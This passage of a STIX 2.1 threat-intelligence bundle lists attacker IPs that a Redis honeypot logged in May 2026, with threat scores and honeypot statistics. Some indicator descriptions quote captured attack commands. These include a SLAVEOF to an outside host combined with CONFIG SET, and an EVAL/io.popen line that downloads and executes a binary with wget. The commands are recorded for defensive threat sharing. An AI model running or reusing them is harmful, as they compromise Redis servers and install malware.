      "pattern": "[ipv4-addr:value = '20.65.194.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T08:25:06.000Z",
      "valid_until": "2026-07-02T08:25:01.000Z"
    },
    {
      "created": "2026-05-31T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--26772517-d9af-4287-86c8-7ae2b129db0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.248.127.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T10:25:10.000Z",
      "valid_until": "2026-07-02T10:25:09.000Z"
    },
    {
      "created": "2026-05-31T12:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=FR; asn=51167; asn_org=Contabo GmbH; redis_cmds=CONFIG GET dir,EVAL 'return redis.call(\"PING\")' 0; redis_cmd_hits=0; cmd=\"EVAL 'return redis.call(\"PING\")' 0\"",
      "id": "indicator--b7bf7830-2c56-4b4d-94e2-5d22317f8a31",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-05-31T12:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '84.247.141.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:25:18.000Z",
      "valid_until": "2026-07-02T12:25:01.000Z"
    },
    {
      "created": "2026-05-31T13:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--1b43aaed-8b76-45a2-a4fe-15b1c65c4bc3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-31T13:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.239.62.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T13:25:03.000Z",
      "valid_until": "2026-07-02T13:25:02.000Z"
    },
    {
      "created": "2026-05-31T13:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--df87ef89-89ea-4a0c-ab73-1b5510360559",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-31T13:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.79.109.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T13:25:03.000Z",
      "valid_until": "2026-07-02T13:25:02.000Z"
    },
    {
      "created": "2026-05-31T13:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T13:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T13:25:03.000Z",
      "valid_until": "2026-07-02T13:25:02.000Z"
    },
    {
      "created": "2026-05-31T13:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--589e458c-c3bc-4973-a61e-b936dadb0df2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-31T13:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T13:25:03.000Z",
      "valid_until": "2026-07-02T13:25:02.000Z"
    },
    {
      "created": "2026-05-31T14:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=56; ports=6379; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--cb630de5-e04e-469f-b77a-84dc257473a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T14:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.154.36.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T14:25:03.000Z",
      "valid_until": "2026-07-02T14:25:02.000Z"
    },
    {
      "created": "2026-05-31T15:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--84d50f47-1248-41b8-a4ca-0b48b1402f61",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-31T15:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.219.1.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T15:25:03.000Z",
      "valid_until": "2026-07-02T15:25:02.000Z"
    },
    {
      "created": "2026-05-31T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=142; ports=6379; cc=RU; asn=34665; asn_org=Petersburg Internet Network ltd.; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0; cmd=\"SSH-2.0-Go\"",
      "id": "indicator--b49db0f2-9f22-47bd-bf0d-f0b98c7cde43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '46.161.50.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T16:25:10.000Z",
      "valid_until": "2026-07-02T16:25:09.000Z"
    },
    {
      "created": "2026-05-31T19:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--df781af4-27b7-44dd-bbfa-f2da39d025af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T19:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.182.174.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T19:25:02.000Z",
      "valid_until": "2026-07-02T19:25:01.000Z"
    },
    {
      "created": "2026-05-31T19:25:02.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--66c2b666-febb-45c9-9070-0d6ef925b210",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T19:25:02.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.245.247.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T19:25:02.000Z",
      "valid_until": "2026-07-02T19:25:01.000Z"
    },
    {
      "created": "2026-05-31T21:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--dd8df2d5-77b2-44db-be8d-d754bd3c1cf6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-31T21:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.201.38.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T21:25:04.000Z",
      "valid_until": "2026-07-02T21:25:03.000Z"
    },
    {
      "created": "2026-05-31T21:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=34; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmds=CONFIG SET dir /tmp/,MODULE UNLOAD system,config set dbfilename root,config set rdbcompression no,SLAVEOF 47.239.2.24 8903; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--e8c3500a-28a5-420d-9c07-4583f0632355",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-31T21:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '222.75.51.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T21:25:04.000Z",
      "valid_until": "2026-07-02T21:25:03.000Z"
    },
    {
      "created": "2026-05-31T22:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--054f2f79-dc0a-43e0-9f36-45f13e08f57a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.199.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:25:03.000Z",
      "valid_until": "2026-07-02T22:25:02.000Z"
    },
    {
      "created": "2026-05-31T22:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--32107618-4db0-4cd8-89c6-8a951ba5cb78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T22:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.121.46.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T22:25:03.000Z",
      "valid_until": "2026-07-02T22:25:02.000Z"
    },
    {
      "created": "2026-05-31T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=DE; asn=209503; asn_org=Zentyx Limited; redis_cmds=EVAL return 1 0,EVAL local p=;for i=1,300 do p=p..string.rep(X,2000);if i%30==0 then collectgarbage(collect)end end;local z={};for j=1,2000 do z[tostring(j)]=string.rep(Y,1000)end;collectgarbage(collect);collectgarbage(collect);return triggered 0; redis_cmd_hits=0; cmd=\"EVAL local h=io.popen(cd /tmp && wget -q https://cdn-n5f.pages.dev/linux.zip -O linux.zip && unzip -q -o linux.zip && chmod +x sshruns && mkdir -p /opt/sshruns \"",
      "id": "indicator--e2b73200-281d-42ae-bcf5-897808f7f43e",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-05-31T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '62.141.63.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T23:25:10.000Z",
      "valid_until": "2026-07-02T23:25:09.000Z"
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "enriched_at": "2026-05-31T23:52:14.149501+00:00",
    "sensor": "redishoneypot",
    "sensor_type": "redis_honeypot",
    "month": "2026-05",
    "ip_count": 680,
    "total_attacks": 31475,
    "total_sessions": 0,
    "attack_type_distribution": {
      "scanning": 31475
    }
  },
  "x_nadsec_ip_context": {
    "212.162.155.217": {
      "attack_count": 1864,
      "first_seen": "2026-05-11T04:18:17.000Z",
      "last_seen": "2026-05-14T10:58:47.718Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 210895,
      "as_org": "Podaon SIA",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 2462,
        "days_active_30d": 4,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-11T04:03:14.162000+00:00",
        "last_seen_30d": "2026-05-14T10:58:59.597000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1298,
        "Redishoneypot": 550,
        "Honeytrap": 467,
        "Dionaea": 100,
        "Cowrie": 30,
        "Tanner": 14,
        "ConPot": 1,
        "Honeyaml": 1,
        "Wordpot": 1
      }
    },
    "45.95.147.229": {
      "attack_count": 843,
      "first_seen": "2026-05-19T12:38:25.000Z",
      "last_seen": "2026-05-30T10:43:34.391Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 249630,
        "days_active_30d": 13,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 18,
        "first_seen_30d": "2026-05-19T12:38:44+00:00",
        "last_seen_30d": "2026-05-31T08:24:06.132000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 170022,
        "Honeytrap": 76376,
        "Miniprint": 922,
        "ConPot": 528,
        "Mailoney": 413,
        "Dionaea": 336,
        "Cowrie": 248,
        "Redishoneypot": 180,
        "Dicompot": 123,
        "Adbhoney": 119,
        "Ipphoney": 112,
        "ElasticPot": 60,
        "H0neytr4p": 59,
        "Honeyaml": 58,
        "Tanner": 56,
        "CitrixHoneypot": 7,
        "Ciscoasa": 6,
        "Sentrypeer": 5
      }
    },
    "45.148.10.210": {
      "attack_count": 753,
      "first_seen": "2026-05-06T14:15:33.000Z",
      "last_seen": "2026-05-23T17:14:13.481Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 59.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 520,
        "days_active_30d": 22,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:00:09.970000+00:00",
        "last_seen_30d": "2026-05-23T17:14:13.481000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 429,
        "Suricata": 85,
        "Honeytrap": 6
      }
    },
    "122.191.115.237": {
      "attack_count": 247,
      "first_seen": "2026-05-02T04:35:47.000Z",
      "last_seen": "2026-05-31T18:26:40.409Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.6,
        "persistence": 25,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T04:36:56.510000+00:00",
        "last_seen_30d": "2026-05-31T18:26:40.409000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46
      }
    },
    "66.132.172.16": {
      "attack_count": 116,
      "first_seen": "2026-05-03T17:41:17.000Z",
      "last_seen": "2026-05-29T00:34:27.432Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 80.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5710,
        "days_active_30d": 30,
        "ports_targeted_30d": 3195,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:00:35.839000+00:00",
        "last_seen_30d": "2026-05-31T23:46:13.042000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5710
      }
    },
    "97.74.92.144": {
      "attack_count": 112,
      "first_seen": "2026-05-07T09:28:58.000Z",
      "last_seen": "2026-05-28T13:53:07.285Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 42.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T09:28:59+00:00",
        "last_seen_30d": "2026-05-28T13:53:07.285000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 36,
        "Suricata": 12
      }
    },
    "38.54.40.173": {
      "attack_count": 93,
      "first_seen": "2026-05-14T07:33:49.000Z",
      "last_seen": "2026-05-17T08:47:22.680Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 138915,
      "as_org": "Kaopu Cloud HK Limited",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T07:33:49+00:00",
        "last_seen_30d": "2026-05-17T08:47:22.680000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 43,
        "Suricata": 8
      }
    },
    "3.145.11.65": {
      "attack_count": 77,
      "first_seen": "2026-05-26T05:15:10.000Z",
      "last_seen": "2026-05-26T05:30:09.780Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 49.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-26T02:54:29+00:00",
        "last_seen_30d": "2026-05-26T07:26:34.372000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 143,
        "Honeytrap": 59,
        "Redishoneypot": 22
      }
    },
    "3.143.3.116": {
      "attack_count": 76,
      "first_seen": "2026-05-31T04:53:18.000Z",
      "last_seen": "2026-05-31T05:07:30.679Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 63.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 1,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-31T04:52:38+00:00",
        "last_seen_30d": "2026-05-31T10:07:43.871000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Honeytrap": 57,
        "Redishoneypot": 22,
        "Ipphoney": 3
      }
    },
    "185.100.157.74": {
      "attack_count": 63,
      "first_seen": "2026-05-29T15:10:14.000Z",
      "last_seen": "2026-05-29T16:19:56.948Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 205775,
      "as_org": "Neon Core Network LLC",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:11:16.422000+00:00",
        "last_seen_30d": "2026-05-29T16:19:56.948000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 24,
        "Suricata": 6
      }
    },
    "134.122.139.75": {
      "attack_count": 56,
      "first_seen": "2026-05-02T16:48:49.000Z",
      "last_seen": "2026-05-11T18:26:52.184Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 152194,
      "as_org": "CTG Server Limited",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:48:49+00:00",
        "last_seen_30d": "2026-05-11T18:26:52.184000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 18,
        "Suricata": 6
      }
    },
    "165.154.36.243": {
      "attack_count": 56,
      "first_seen": "2026-05-31T13:50:20.000Z",
      "last_seen": "2026-05-31T14:16:39.295Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 87.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 28,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T22:16:18.878000+00:00",
        "last_seen_30d": "2026-05-31T18:09:59.126000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 143,
        "Honeytrap": 95,
        "Redishoneypot": 14,
        "Dionaea": 4
      }
    },
    "121.43.83.139": {
      "attack_count": 40,
      "first_seen": "2026-05-24T08:43:36.000Z",
      "last_seen": "2026-05-24T08:45:57.151Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:43:46+00:00",
        "last_seen_30d": "2026-05-24T08:45:57.151000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "8.211.28.212": {
      "attack_count": 39,
      "first_seen": "2026-05-25T09:33:02.000Z",
      "last_seen": "2026-05-25T09:35:28.843Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:33:13+00:00",
        "last_seen_30d": "2026-05-25T09:35:28.843000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "115.190.97.5": {
      "attack_count": 35,
      "first_seen": "2026-05-02T07:55:01.000Z",
      "last_seen": "2026-05-28T15:39:13.423Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T07:56:03.228000+00:00",
        "last_seen_30d": "2026-05-28T15:39:13.423000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7
      }
    },
    "204.93.116.102": {
      "attack_count": 35,
      "first_seen": "2026-05-13T18:52:42.000Z",
      "last_seen": "2026-05-13T18:54:56.782Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chattanooga",
      "asn": 26827,
      "as_org": "EPB Fiber Optics",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T18:52:42+00:00",
        "last_seen_30d": "2026-05-13T18:54:56.782000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 1
      }
    },
    "118.145.101.27": {
      "attack_count": 34,
      "first_seen": "2026-05-25T04:11:17.000Z",
      "last_seen": "2026-05-25T04:13:28.011Z",
      "sessions": 0,
      "ports": [
        6379
      ],
